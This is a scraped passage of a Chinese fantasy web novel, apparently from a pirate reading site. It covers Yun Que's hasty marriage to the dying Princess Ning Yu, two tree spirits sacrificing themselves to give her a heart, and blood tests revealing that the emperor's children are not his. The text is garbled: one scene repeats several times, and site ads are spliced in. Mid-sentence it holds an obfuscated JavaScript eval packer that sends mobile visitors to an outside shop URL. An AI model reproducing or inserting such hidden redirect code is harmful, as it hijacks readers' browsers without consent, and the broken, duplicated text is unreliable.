云缺明白了, 这丫头昨天听到了太尉与丞相的议论,得知家人之血或许能救回皇帝,于是想要尽孝,偷偷自己放血。 云缺看了眼铜盆,无奈道: “即便你想帮陛下,也得先试试有没有效啊,如果没用怎么办,放出来的血自己再喝回去吗。” “况且你这身子本来就弱,放血也轮不到你啊,你大哥一身肥肉,要放也是放赢财的血。” 赢霏雨嘴角挂着微笑,虚弱道: “我不想永远做个没有的废人,如果能帮到父皇,死掉也无所谓,反正我也没多少时间可活了。” “我死了,大秦不会有任何改变,如果父皇死去,天下就会大乱,这道理,我懂的。” 面对这个倔强的小公主,云缺张了张嘴,无话可说。 这是人家的家事。 宁玉公主的做法并没错。 以秦皇的伤势,如果溶血之法有效,那么所需的至亲之血就绝不会一斤半斤,有可能需要极多。 三个儿子加一个女儿都未必够用。 甚至,需要有人做出牺牲才有机会。 宁玉公主,选择了付出,哪怕就此死去。 因为在秦皇的子女当中,她,是最没有用处的一个。 而现在,赢霏雨看到了自己的作用,她非但没有惧怕,反而还很开心。 她终于能做一个有用的人。 而非终日困在公主府里的废物。 “婆婆,帮我梳妆。” 赢霏雨支撑着坐了起来,微笑道:“今天我出嫁了,要好好打扮才行。” 树婆婆点了点头,叹息着开始帮忙。 树枝组成的树公公则无声无息的退出窗外。 云缺看了眼面前这位可怜的小公主,转身出屋。 血已经放了,云缺也没有其他好办法,宁玉公主的生命本就没剩下多少,这次怕是更活不了多久。 屋外, 云缺追上了翠绿的树枝,一把将其抓住。 “你们怎么不拦着呢?非得看着公主放血?别说你们拦不住,公主可没什么修为。”云缺道。 “我们也是才发现的,到这已经晚了,谁能想到她一宿能放出来那么多血,唉,这下没救了。”树公公无奈道。 “公主还能活多久。”云缺道。 “多说一个月,也许更短。”树公公道。 一个月…… 云缺扔掉树枝,无奈不已。 这下完了。 什么孩子能在一个月内生出来。 怀孕容易,生娃怎么也得十月怀胎啊。 树枝要溜走,被云缺又给一脚踩住。 “你们有没有办法,多让公主活些年头。”云缺道。 “没办法呀,我们两个老家伙也没几年可活,哪有能力救公主。”树公公苦涩道。 “公主的血,能不能再收回她身上。”云缺道。 “收不回去,公主是无心之人,身上的血液有限,一旦流出,再也回不去了。”树公公道。 树公公没办法,树婆婆的模样也是束手无策。 云缺直接出了公主府,去了趟皇宫找来御医。 看过之后,御医直摇头,留下一些补血的丹药,没有其他办法。 补血丹,云缺自己身上也有,但他知道这种丹药对一个无心之人来说,基本是无效的东西。 以赢霏雨的奇特体质,与死人极其类似,世上的灵药,几乎没用。 “皇帝活不过一个月,公主也活不过一个月,这爷俩儿怎么一个命数……” 云缺叹息着返回住处。 不多时,有府里的宫女送来大红的驸马袍。 今日,公主与驸马完婚。 与其他皇亲国戚完婚不同,一切从简。 甚至没有昭告天下。 云缺先与宁玉公主去了御书房,在秦皇面前拜了天地,随后返回公主府。 喜宴也在公主府准备。 总共一张桌,客人七八位。 大皇子三皇子,太尉龙桃,段无病,马至远,加上两位礼部的文臣。 丞相亲自去大唐寻找大血滴子,尚未回来。 原本繁琐的礼仪,缩减到最简单的程度,不到半天时间便宣告结束。 喜宴上,没人有心思吃饭。 都是简单喝了两杯喜酒后,就此告辞。 临走前,大皇子赢财苦口婆心的嘱咐道: “驸马呀,从今天起,小雨就托付给你了,你是男人,可要好好照顾她,不能欺负她,小雨身体不好,要是在你手里出了什么意外,我这个当大哥的第一个饶不了你!” 赢人志也在旁边道:“我也一样!我们哥仨就一个妹子,掌上明珠!驸马你可要好生照顾好公主,出了差池,赢家饶不了你!” 两个当哥哥的,在亲妹子成婚之日说些狠话,属于人之常情。 但今天的局面不同。 公主已经出意外了呀! 其他人相继离开,唯独太尉自己在喝闷酒,一杯接着一杯。 “二位皇兄留步,咱们再喝几杯。” 云缺拉住了赢财和赢人志。 赢财忽然脸色变了变,这位常年背黑锅的大皇子生出一种预感。 “父皇病重,为兄实在没心思多饮,下次!下次一定陪驸马喝个够。”赢财说完就想走。 云缺哪能让他走,抓着对方的手腕子就是不撒手。 四品破军的力道都用出来了。 “这里没有外人,有件事还是让皇兄得知为好,公主她,昨夜自己放了半盆血,喏,就在这呢。” 云缺从桌子底下将装血的铜盆拿出来。 赢财一看盆里的血,顿时跌坐在椅子上,脸色苍白。 赢人志惊呼道: “这么多血!她不要命了!” 龙桃瞄了眼铜盆,继续喝闷酒,以这位太尉的能力,进门就感知到了血盆的存在。 “公主不想当个废人,这是她为陛下准备的。” 云缺道:“两位皇兄应该清楚公主的身体,失血这么多,估计活不了多久。” 赢人志一听,脸色也变得苍白,与他大哥一样跌坐下来。 “小雨这么傻呢……唉。” 赢财抱着脑袋恨恨的道:“我们赢家到底怎么了,一份劫难接着一份劫难,有什么黑锅我都背还不行吗……” 大皇子眼圈发红,十分自责。 他这个大哥,做得不称职,跟废物没什么区别,还不如他妹子。 点明血盆,云缺是为了撇清关系,公主明显活不过多久,别到时候自己成了背黑锅的。 对赢家的连番劫难,云缺实在爱莫能助。 秦皇与公主的意外,无不预示着动荡的来临,大秦之乱,看来无法避免。 好在赢家三兄弟还算和睦。 赢人志心无大志,败家子一个,对皇位估计没什么兴趣,二皇子赢皓别看是酒蒙子,其实是个重义之人,也不会与亲兄弟拔刀相向。 在云缺看来,最适合坐皇位的,就属背黑锅的大皇子了。 “一切皆为命,有时候,不信不行啊……” 太尉放下酒杯,背着手叹息着离去。 赢财与赢人志也同样落寞而去。 一顿喜酒,吃到最后一个菜都没人碰。 秉着不浪费的原则,云缺自己吃。 车到山前必有路,没路也得往前走,总不能饿着肚子推车吧。 这顿饭,云缺吃得不是滋味。 不是味道不好,而是觉得缺了点什么。 等吃完后,云缺才想起来。 缺礼钱呐! 我大婚啊,怎么谁都没随礼呢! 这不赔大发了! 天黑后,云缺来到公主居住的小木屋。 今天成了正式的驸马,得住在一起才行。 至于生孩子这事儿,云缺根本就不想了。 别说生孩子,碰一下公主,都怕对方咽气。 屋子里点着红烛。 宁玉公主坐在床边,云缺掀起红盖头,看到了一张苍白却美丽的俏脸。 烛光下,动人心弦。 两人没说话,和衣而眠。 云缺睡不着,望着棚顶发呆,想着心事。 今天是大喜的日子,血的事,没和秦皇提,云缺打算等丞相带回大血滴子后,再与秦皇挑明。 生儿子,我是无能为力了,大秦江山我也不惦记,实在不行少年城一人一半,只要带走一半人手就行,大家一拍两散,各奔东西。 “你不喜欢我……我知道的。” 耳畔传来宁玉公主落寞的低语。 “谁说的,别瞎想,早些睡吧好好休息。”云缺安慰道。 “你心里住着别人,我知道的,她很美是吗。”赢霏雨眨了眨眼睛,轻轻搂住云缺的胳膊,轻声道:“我不求别的,只希望你能陪我走完人生最后这一段路,行吗?” 第634章 木灵之心 耳边带着恳求的低语,云缺难以拒绝。 只能安慰对方一切都会好起来。 但是,屋子里的两人谁都清楚,想要更改宿命,难如登天。 强如云缺,一样被人当做棋子,又何况是毫无修为,命不保夕的宁玉公主。 烛火在晃动。 公主在低语。 “昨晚放血的时候,霏霏和小雨都出现了,她们都同意这么做,她们也不会再来了,现在的我,才是真正的我,既是霏霏,也是小雨……” “人生真的好短啊,几轮春秋而已,我最喜欢冬天,能看到雪花,小时候我不想它们融化得太快,于是将很多雪花藏起来,可是过几天,它们还是会融化。” “我自己,就是一片雪花,无论藏在何处,都会有融化的一天,我知道,那是我的命数,无法更改。” 耳边的低语,带着少女的思愁,惹人怜惜。 可惜,听者是个不懂风情之人。 云缺转过头,望着小公主朦胧的双眼,漠然道: “能不能睡觉!我不喜欢大半夜的听故事,睡得好第二天才有精神,有精神才有力气去改变命运!我最厌恶宿命这种狗屁东西,统统砸烂才痛快!” 宁玉公主被云缺的语气吓到,卷缩在被子里,眼泪汪汪的不吭声了。 云缺将双手垫在脑后,继续想着心事。 有件事,云缺觉得奇怪。 秦皇的体质,即便不在少年城受伤,应该注定也活不长,唯有在大秦之地才能动用一品之力,其中的代价,必然可怕。 宁玉公主是无心之人,就算不放血,也活不了多久,这对父女基本是同样的命运。 父女一种命运,倒也不算奇怪,真正让云缺不解的,是接下来发生的这些事。 秦皇受伤,活不过一月。 公主自残,也活不过一月。 云缺觉得纳闷,是不是这父女俩商量好了,要一起死啊? 有些太巧了吧…… 胡思乱想中,云缺忽然目光一动。 无心之人…… 不可能是死胎,而是后天所致,否则当初皇妃身怀有孕的时候根本生不出来。 死胎,可不会在肚子里自己生长。 既然宁玉公主能顺利出生,说明她出生前,应该有心。 心脏,是出生后才失去的。 想到这里,云缺翻身坐了起来,掀开被子,解开宁玉公主的上衣。 小公主都不敢动了,惶恐又羞涩的紧闭双眼。 去掉多余的衣服后,云缺看到宁玉公主的心窝处,有一块黑紫色的痕迹。 乍一看,像是胎记,但摸起来,有些许不平。 以云缺的经验,这种手感,绝不是正常的肌肤,而是……伤口! 云缺惊讶不已。 原来宁玉公主的心,的确是后天所失,而且是被人挖出去的! 挖心…… 难道是妖兽? 云缺胡思乱想了半晌,听到身下的小公主传来有些痛苦的闷哼。 低头一瞧,云缺脸色顿时尴尬起来。 脑子里胡思乱想,手居然没停! 还在摸呢…… 云缺急忙收手,心里嘀咕着不怪我啊,谁让你手感那么好呢…… 云缺躺了回去,继续分析。 挖心这种手段,按理说不可能出现在公主身上。 谁有那么大的胆子,敢挖大秦公主的心脏? 如果是妖的话,正常情况就不会只挖心了,连身体也得吃干抹净才对…… 挖心…… 云缺脑海中忽然浮现出一个字眼。 九夷人! 九夷城的城主,最喜欢收集天下间的公主与郡主,莫非是那老东西所为? 越想,越觉得很有可能。 当年九龙夺嫡,赢開败过一次,其他九位皇子联手铲除他这个威胁。 如果九位皇子合力,那就几乎是大秦之力了,即便赢開带来二哥丑牛,也未必能完胜,暗中肯定还有交锋。 九夷城主,很可能也在暗中相助了赢開! 因为九夷人最擅长暗中培养自身势力,邵武国就是最佳的例子,还有冒土国的神狐军,一定也是九夷人的亲信。 九夷城主挖了宁玉公主的心,或许就是秦皇与星辰殿反目成仇的引线。 云缺想到这里,大致能断定了秦皇为何痛恨星辰殿。 脑海里回想着云州地图,云缺赫然发现,大秦这些年扩展的地域,都是朝着一个方向。 邵武国所在的海边! 自此,云缺联想到秦皇为何那么执着于开疆拓土。 秦皇要将国土扩大到九夷城下,才能以一品之力去报仇雪恨! “难道,九夷城的实力,比我想象的还要可怕……” 云缺惊疑起来。 九夷城表现出的力量,不该让秦皇忌惮到如此地步,即便用不了一品之力,秦皇以二品战力,带上丞相与太尉,应该能轻易铲平九夷城。 除非,九夷城里藏着让秦皇都畏惧的强大力量,才会用出开疆拓土的办法。 九夷人,这三个字在云缺心里变得愈发神秘起来…… 正想着心事,云缺的手被小公主握住了,又被放回了小公主的心窝处。 “你喜欢就好……” 赢霏雨闭着眼睛,声音低低的轻语着。 云缺叹了口气。 我刚才真是无意的,我堂堂大晋平天王,天祈学宫最佳学子,岂能喜欢手里这玩意吗? 还别说,手感真不错…… 喜欢归喜欢,摸多了容易出事儿。 云缺刚想收回手,窗外起风了,窗纸传来轻响。 “是婆婆。”宁玉公主急忙穿好衣服,道:“进来吧。” 木门开启,树婆婆走了进来,手里还拎着一节翠绿的树根。 进屋后,翠绿树根幻化成老迈的树公公,愁眉苦脸的站在一边。 “婆婆是来闹洞房吗。”云缺开了句玩笑。 “我们来与公主辞行,在这里住了这么多年,我们也该走了。”树婆婆温和的道。 宁玉公主轻轻点头道: “婆婆若想走,那便走吧,这些年,多谢你们照顾,小雨无以为报,在此谢过树婆婆,谢过树公公。” 宁玉公主朝着两位老者深深一拜。 树婆婆点头轻笑,道:“这一礼,老身接了便是,我们走了以后,公主要多保重。” 树公公始终没吭声,一脸衰相。 两头树妖辞别,云缺虽然有些意外,但没多想。 毕竟是被秦皇抓来的,如今秦皇重伤不治,公主府的禁制估计没剩多少,困不住树妖了。 人家只是来辞别,没想着报复,已经不错了。 不过云缺有件事需要问清。 “婆婆,公主的心,到底是被谁挖走的。” 树婆婆缓缓摇头,并不知情,她与树公公来到公主府之后,公主已经是无心之人。 “婆婆是否觉得,公主与陛下的命运非常相似。”云缺道。 树婆婆长叹一声,道: “霸主之命,定有无尽因果,卷入其中,何来善终……” 云缺听闻此言,沉默不语。 因果之说,云缺切身体会过。 从佛心殿先生坐化八山城开始,云缺与佛门的因果便纠缠不休,最终形成可怕的因果律,与魔佛连接了起来。 因果这东西看不见,却无处不在,不是宿命,又如宿命般玄奥莫测。 总结起来也简单。 无外乎两个字,选择。 今天杀一只鸡,晚上可以喝鸡汤。 今天不杀鸡,明天就有鸡蛋吃。 因果便是无数个选择所得来的结果,选择不同,结果便不同。 可惜的是,身为公主的赢霏雨,没得选。 她一出生,便卷进了秦皇的因果当中,被挖走了心脉,若非秦皇亲自入宝境抓来灵木给她续命,赢霏雨断然活不到今天。 而秦皇的因果律,更加恐怖。 正如树婆婆所言,霸主之命一旦陨落,陷入这段因果律中的人与事,都将遭到重击。 显然, 宁玉公主的命数,与秦皇的因果相同,秦皇陨落,她也将成为葬品一同死去。 临走前,树婆婆将两枚果子放在木桌上。 一枚青果子,一枚红果子。 “公主大婚,我们没什么好东西,两枚果子当做贺礼。” 树婆婆的老脸上充满溺爱,望着小公主道:“我们走了,孩子,你要好好活下去……” 云缺亲自将树婆婆送出门外。 望着两位老者远去的身影,云缺心情复杂,本想转身回屋,隐约听到远去的两人在斗嘴。 “我还没活够呢,这就走了,多无趣唉。” “本就没剩几年可活,你若不走,等着自己枯死好了。” “枯死更无趣,还不如跟你一起走呢,下辈子早点发芽,还与你斗嘴。” “斗了一辈子,你不累,我还累呢,少来烦我。” “嘿嘿,不烦你,肯定不烦你,我就在你旁边当一棵小草好了,你长成一朵花,咱们好般配。” “到了最后才说点甜言蜜语,几百年了,你怎么从来不说呢。” “嘿嘿,这不是丢面子嘛,唉,后悔呀,早点对你说就好喽,不过现在也不晚,你是我这辈子最喜欢的树!” “真恶心……我爱听……” 云缺越听越觉得不对劲,刚想招手喊住两人,忽然两道身影消失不见。 取而代之的,是两棵古树,各自探出一根树杈,互相缠绕在一起,犹如携手而行。 嘭!! 轻响中,两棵古树同时碎裂开来,化作漫天落叶! 明月之下, 云缺的头顶出现了一幕奇观。 无尽的落叶犹如飞雪,一半是红色,一半是青色,壮观而绝美。 宁玉公主裹着外衣走了出来,站在云缺身旁,惊讶着望向头顶。 在落叶当中, 无数青红相间的光点在汇聚,融合成一道拳头大小的光晕,直接遁入公主的心窝。 嘭嘭,嘭嘭。 在云缺的耳中,第一次,听到了来自宁玉公主的心跳声! 这一刻,云缺彻底明悟。 原来树婆婆所说的‘走’,也可以解释为‘死’。 公主府的两棵树精,以本身最后的力量,化作一份生机,送给了宁玉公主。 用自己的生命,为小公主编织成一颗活着的木灵之心! “婆婆……” 感受着心脏的跳动,虚弱的小公主泪如雨下…… () xs。xs棵古树同时碎裂开来,化作漫天落叶! 明月之下, 云缺的头顶出现了一幕奇观。 无尽的落叶犹如飞雪,一半是红色,一半是青色,壮观而绝美。 宁玉公主裹着外衣走了出来,站在云缺身旁,惊讶着望向头顶。 在落叶当中, 无数青红相间的光点在汇聚,融合成一道拳头大小的光晕,直接遁入公主的心窝。 嘭嘭,嘭嘭。 在云缺的耳中,第一次,听到了来自宁玉公主的心跳声! 这一刻,云缺彻底明悟。 原来树婆婆所说的‘走’,也可以解释为‘死’。 公主府的两棵树精,以本身最后的力量,化作一份生机,送给了宁玉公主。 用自己的生命,为小公主编织成一颗活着的木灵之心! “婆婆……” 感受着心脏的跳动,虚弱的小公主泪如雨下…… () xs。xs棵古树同时碎裂开来,化作漫天落叶! 明月之下, 云缺的头顶出现了一幕奇观。 无尽的落叶犹如飞雪,一半是红色,一半是青色,壮观而绝美。 宁玉公主裹着外衣走了出来,站在云缺身旁,惊讶着望向头顶。 在落叶当中, 无数青红相间的光点在汇聚,融合成一道拳头大小的光晕,直接遁入公主的心窝。 嘭嘭,嘭嘭。 在云缺的耳中,第一次,听到了来自宁玉公主的心跳声! 这一刻,云缺彻底明悟。 原来树婆婆所说的‘走’,也可以解释为‘死’。 公主府的两棵树精,以本身最后的力量,化作一份生机,送给了宁玉公主。 用自己的生命,为小公主编织成一颗活着的木灵之心! “婆婆……” 感受着心脏的跳动,虚弱的小公主泪如雨下…… () xs。xs棵古树同时碎裂开来,化作漫天落叶! 明月之下, 云缺的头顶出现了一幕奇观。 无尽的落叶犹如飞雪,一半是红色,一半是青色,壮观而绝美。 宁玉公主裹着外衣走了出来,站在云缺身旁,惊讶着望向头顶。 在落叶当中, 无数青红相间的光点在汇聚,融合成一道拳头大小的光晕,直接遁入公主的心窝。 嘭嘭,嘭嘭。 在云缺的耳中,第一次,听到了来自宁玉公主的心跳声! 这一刻,云缺彻底明悟。 原来树婆婆所说的‘走’,也可以解释为‘死’。 公主府的两棵树精,以本身最后的力量,化作一份生机,送给了宁玉公主。 用自己的生命,为小公主编织成一颗活着的木灵之心! “婆婆……” 感受着心脏的跳动,虚弱的小公主泪如雨下…… () xs。xs 第635章 不是亲女儿 生离死别,有时候就是这么突然。 令人意想不到。 小小的木屋里,宁玉公主哭了很久很久。 她在内疚,这些年不该如仆人般使唤树公公与树婆婆。 她就像个不懂事的晚辈,对长辈从没有好脸色,将树妖的守护当做理所应当,等到失去了,才发现自己多么伤心。 原来她早已将树公公与树婆婆当做了亲人。 逝去的亲人,注定再也见不到了…… 子欲养而亲不待…… 云缺望着桌子上两枚小小的果子出神。 这一刻,云缺明白了一些道理。 树婆婆与树公公虽然就此消失,但它们仍旧活在这片天地之间,化作木灵之心,继续守护者宁玉公主。 犹如一份独特的传承。 只要宁玉公主还有心跳,这份传承就永远不会消失。 传承…… 云缺仰头望向深邃的夜空。 云缺自己也获得了传承,识海文殿。 儒圣的传承,到底预示着什么,云缺不得而知。 但云缺很清楚一件事,那就是儒家传承,肯定不是指望着自己来发扬光大。 因为自己是武夫。 山顶,到底能看到什么…… 当年超品之间的死战,又是为了什么…… 云缺眉峰深锁,陷入深深的迷茫。 宁玉公主哭累了,趴在桌子上沉沉睡去。 直至天边泛白。 云缺散去思绪,觉得肚子有点饿。 正好有两枚果子,拿起一个想咬,忽然想起了什么,又轻轻放下。 宁玉公主听到动静,悠悠醒来,眼角还挂着泪痕,悲伤的道: “树婆婆走了,我再也见不到她了……” “人死不能复生,不过树要是死了的话,未必永远也见不到。”云缺把玩着手里的果子,道:“想不想种棵树。” 宁玉公主的眼睛渐渐明亮起来,展颜而笑,用力地点着头。 树公公与树婆婆虽然化作木灵,耗尽了生机,但留下了一红一青两枚果实。 两颗果实既是它们的孩子,也是它们的传承。 宁玉公主自己动手在小屋后挖了坑,将红果子种了下去 。 本想将青果也种在旁边,云缺不赞同。 说怕它们长大后打架,应该离远点好,反正都在府里,不会丢。 宁玉公主觉得也有道理,于是云缺拿走了青果,不多时,便种好了。 “种在什么地方了,有没有做标记,我怕浇水的时候找不到。”宁玉公主问道。 “青果子不用总浇水,那边养料充足,靠天养就能行了。”云缺敷衍道。 “告诉我嘛,我不想树婆婆和树公公分开,到底把树公公种在了什么地方呀。” 小公主不依不饶的追问。 云缺没办法,只好说出了种树地点。 公主府茅厕旁边…… 按照云缺的说法,那边可是正宗的农家肥,树公公肯定长得比树婆婆壮实得多。 “怎么会呢,花花草草需要精心照料才能养好的,树公公会不会长不出来,死在地底?”宁玉公主担忧的道。 “越精心照料,越死得快,你还是多担心你的树婆婆好了,放心,青树要是不发芽,我把自己种在公主府。”云缺打着包票。 宁玉公主终于放心下来。 天已经彻底大亮,云缺忙活了一宿,娃没要上,光种树了。 刚吃完早饭,公主府来了客人。 太尉,丞相,大皇子,三皇子,担架上的二皇子。 云缺以为这几位终于想起来昨天没随礼钱了,结果礼钱没拿出来,倒是拿出来一件硕大的青铜圆盘,盘底刻着繁复的符文。 左兰山今天清晨返回的天龙城,带回了大血滴子。 原来是验证溶血之法。 之所以没选在皇宫,是怕出现意外,让秦皇担心。 毕竟谁也无法肯定溶血之法究竟需要多少鲜血,如果数量太多,儿女们难以承受,只能面临着一个结果。 生死抉择。 于是丞相与太尉将验证地点,选在了公主府。 厅堂内大门紧闭。 屋子里七个人,龙桃,左兰山,三位皇子与公主,外加云缺。 这事儿其实云缺不想参合,他又不是皇帝亲戚,留下来能有什么用。 但大家都认为云缺已经是大秦皇室的一份子,尤其龙桃,非得让云缺留下,做个见证人。 云缺只好勉为其难的坐在一旁看着。 “谁先来。 龙桃面色凝重的环顾着皇子与公主。 云缺提议道:“公主先试,半盆血呢,不用浪费了。 太尉与丞相点头认可。 左兰山将秦皇的一滴血放入铜盘,血液立刻缓慢的旋转起来,最终停留在铜盘最中心的位置。 大血滴子也算一种异宝了,但凡异宝都有灵气,鲜血内蕴含的力量越强,越会占据中心区域。 这种情况,在场众人谁也没有意外。 那可是大秦之主,天下一品,秦皇的鲜血若是不占在中心,才叫怪事。 随后龙桃以气机从铜盆里挑起一滴公主的鲜血,将其落在铜盘边缘。 血珠进铜盘之后,仍旧还是缓慢旋转。 太尉,丞相,大皇子与三皇子几人一眼不眨,盯着铜盘里的两滴鲜血。 这一盯,就是一炷香的时间。 几人的脸色变得愈发奇怪起来,赢人志时不时的偷瞄一眼旁边的宁玉公主。 赢财也一样,时而看看铜盘,时而看看赢霏雨,脸上的神色变化不定。 云缺始终坐在旁边喝茶,等得直打哈欠。 昨晚一直没睡,这会儿困劲儿上来了。 等了半天,结果一滴血都没验出来,云缺奇怪之下起身瞄了眼铜盘,随后又老老实实坐了回去。 继续闷头喝茶。 这是你们赢家的家事,跟我无关…… 铜盘里, 两滴鲜血始终离着极远,别说相融了,甚至始终没有靠近! 大血滴子有检测血液是否精纯的效果,可分辨出是否有妖族血脉,所以验一次的价格极其昂贵。 小血滴子则没有这种效果,唯一的用处是验证血脉是否相连,比如父子间是否为亲生。 但是有一点, 小血滴子的功效,大血滴子是兼容的! 大血滴子不仅能验证妖族血脉,一样能验证父子或者父女的血脉。 从铜盘里互不相容的两滴鲜血看来,只能证明一件事…… 宁玉公主与秦皇之间,没有血缘关系! 这事儿就大了…… 公主如果不是皇帝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13717624|110198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的女儿,那是谁的种? 诞下公主的皇妃,岂不是死罪? 秦皇,被绿了? 云缺低头喝茶不吭声,就当没看见,我什么都不知道! 左兰山的脸色十分难看。 伤势本就未愈,加上连夜奔波,又看到如此异样,这位大秦丞相觉得眼前有点发花,脑子有点发晕。 龙桃的脸色一样不好。 这事儿牵扯太大,谁能想到宁玉公主居然不是秦皇的亲生女儿! 传扬出去,便是赢氏皇族的污点,是天大的笑柄! 赢霏雨的目光变得呆滞无神,脑子里一片空白,这种打击令她难以承受,更不知道如何面对。 丞相与太尉甚至皇子们几乎同时想起了一件事。 当年被劫持的皇妃与公主,秦皇并没有第一时间去营救,而是选择了直接出兵,如此举动,致使皇妃遇难,只有公主侥幸存活下来。 之前大家都觉得是皇帝震怒,誓要踏平匪人,如今看来,其实是皇帝根本不在乎这对母女的死活,皇帝肯定知道了此事,一直瞒着而已。 要不然,父女之间又为何如此生疏,秦皇一年到头都不会见一次宁玉公主。 想通之后,太尉几人觉得宁玉公主实在可怜,并不是赢家之人。 同时几人对秦皇的大度也甚为佩服。 若是别的皇帝,恐怕宁玉公主根本活不到这么大,早就在某些人为制造的意外中离开人世,更不会有两棵树妖守护。 龙桃沉沉的叹了口气,抬手将公主的鲜血取出,咳嗽了两声,道: “这件法器我们不熟悉,应该是没有开启成功,我再开启一下。” 说着将大血滴子举起来,转了半圈重新放回去。 太尉的举动,是在缓解大家的尴尬。 既然秦皇都不提此事,这件事就让它埋进岁月,在场的几个人全都将这件事烂在肚子里。 幸好就云缺一个外人,剩下的都是皇子。 太尉现在有点后悔了, 刚才留什么驸马啊,这要是个大嘴巴,岂不是大家都跟着遭殃。 事已至此,没办法,只能继续进行验血。 “刚才不算!现在重新开始,谁先来。” 龙桃说完,将公主的半盆血放在一旁,没打算再用。 宁玉公主也挺倒霉的好不容易放了小半盆血结果白放了。 “我……我来……” 担架上的二皇子发出虚弱的声音。 赢皓已经醒了伤势太重难以起身只能躺着动弹不得。 “轮不到你我是大哥自然我先来!” 大皇子赢财面色凝重的道:“二弟伤势太重这事儿不用你我和三弟的血足够了你好生修养就好父皇养我这么多年也该是尽孝的时候了。” “大哥……够义气!”赢皓虚弱的道:“我那坛百年老酒不用大哥赔了……” “啥?我什么时候欠你百年老酒了?”赢财莫名其妙道。 “三年前父皇说是你偷的……”赢皓虚弱道。 “我……”赢财眼皮跳了跳万般无奈。 背黑锅就算了这怎么有的黑锅我自己都不知道什么时候背上的呢! 随着大皇子切开指尖 云缺仍旧没看一口一口的喝着茶。 接连喝了十几杯发现围着铜盘的几个人全都一动不动木雕泥塑一样。 第636章 绿帽子戴一摞儿 不会是,又不融了吧? 云缺心里直犯嘀咕。 公主不是亲生的也就罢了,大皇子总该是亲生的了吧。 可丞相与太尉几人,始终面无表情的盯着铜盘,一个个被施了定身术似的,这种模样太过奇怪。 云缺不动声色的站了起来,装作抻个懒腰,顺便往铜盘里瞄了眼。 秦皇的鲜血仍旧在中心旋转。 而大皇子的血珠则在铜盘边缘转动,两滴血之间相差极远! 这下连云缺都定住了,伸着两只手,一动不动。 开什么玩笑! 小女儿不是亲生的,大儿子居然也不是亲生的? 这事儿就大发了…… 赢财都傻了,这位大皇子此刻的感受不亚于五雷轰顶! 背黑锅也就罢了,怎么背着背着,锅都没了呢? 赢财很快想到了更加严重的后果。 如果他不是亲生的,那么皇后岂不是死罪! 大皇子,加上小公主,这种事所牵连的后果,很可能是秦皇一怒之下血洗后宫! 秦皇是什么作风,赢财能不清楚么。 他爹曾经将九个亲叔叔砍了八个,只剩下一个还是落个囚禁一生的下场。 这要儿女全不是亲生的,以秦皇的脾气,不仅后宫没一个活口,连他这位大皇子都得掉脑袋! 想到这里,赢财只觉得天旋地转,踉跄着跌坐在地,面如死灰。 二皇子赢皓躺在一旁,看不到铜盘里的变化,焦急道: “皇兄,到底怎么了……难道又出了问题?” 赢财脸色发苦,抓住赢皓的手道:“大哥,对不起你啊……二弟三弟,父皇,靠你们了……” 三个皇子心情复杂不已。 好好的一家人,怎么变成了毫无血缘关联的陌生人,如此打击来得太过突然,犹如噩耗一般让人难以承受。 龙桃瞪着眼睛盯了半天,两滴血始终不融,他茫然的抬起头看向左兰山道: “你从哪弄来的大血滴子!该不会是个坏的吧?” 左兰山也彻底失去了大儒的稳重,惊疑不定的道: “不可能是坏的!我亲自去房家抢来的!重新验一次!” 两个老头子手忙脚乱的将血 滴取出来一个动用气机一个动用文气好一顿检查。 大血滴子没有问题更没有半点损坏。 为了验证龙桃去外面抓来一条大狗和一窝小狗挨个的试验。 结果一窝小狗的血都与大狗相融。 狗血都融说明大血滴子没问题龙桃又将两滴血重新放进铜盘还是一样的结果。 皇帝与大皇子的血就是不融! 这下太尉与丞相都知道麻烦了。 本想着救皇帝结果引出了这等皇室隐秘一旦传扬出去后果不堪设想。 龙桃沉声道:“今日之事不可传出去半个字!” 左兰山冷声道:“若有外人得知必须灭口!” 两位重臣如此模样将皇子与公主吓得不轻几人连忙点头。 随后几人的目光纷纷挪移望向屋子里唯一的一个外人。 呼噜呼噜。 鼾声响起。 云缺趴在桌子上正睡觉呢。 不睡不行了这时候最佳的处理方式就是装睡。 我睡着了! 你们家里的破事我什么都不知道! 明知云缺在装睡左兰山还是满意的点了点头对驸马的心机还算认可。 赢皓支撑着抬起手道: “用我的血……” 赢人志抢先道:“先用我的!二皇兄伤势太重不宜失血我身体好血多!” “谁的都一样了!这时候了还谦让什么!”龙桃亲自动手从赢皓指尖取一滴血 等鲜血滴落铜盘又是一阵长久的沉默。 这次云缺没用看就知道肯定还没融! 怪不得那哥仨没一个长得像秦皇原来全不是亲生的! 云缺一边装睡一边在心里胡思乱想。 这不对劲儿啊…… 秦皇又不是傻子统管仙武大秦堂堂天下一品怎么生的儿子不是亲儿子生的女儿不是亲女儿。 要是一个非亲生也能理解。 毕竟秦皇忙于国事没那么多精力放在后宫出现个野种不算意外。 可两位皇子加上个公主都非亲生这就有点过分了吧…… 绿帽子戴一顶还嫌不过 瘾,非得戴一摞儿才行? 这什么奇葩爱好? 左兰山现在是真想杀人了。 帝王之位,何其重要,江山社稷难道要拱手让人? 好在这件事没有外人知道,还能压得下去,唯一的外人是驸马,总不能把驸马掐死吧。 郁闷加上愤怒,左兰山二话不说,一把将赢人志抓了过来,亲手取了一滴血,放入铜盘。 最后一位皇子,是最后的希望。 小说的域名qiexs?(请来企鹅 小说 看最新章节 完整章节) 丞相与太尉瞪大了眼睛,盯着铜盘里两滴血的变化。 “动了!动了!” 龙桃欣喜的惊呼起来。 赢人志的血的确在动,一边旋转,一边朝着秦皇的鲜血靠近。 几人满怀希望,盯着血滴一眼不眨,生怕错过了什么。 可是当血滴越过一半距离的时候,忽然碎裂开来,分散成血丝飘到铜盘边缘。 “这……这是什么情况?”龙桃疑惑道。 左兰山沉沉一叹,道: “三皇子修为太弱,血液移动,是被陛下鲜血蕴含的力量所搅动而已……” 这下赢人志也跌坐在地。 他也不是亲生的! 龙桃不甘心,抓起赢人志的手腕直接切开,弄了好几两鲜血全部倒在铜盘里。 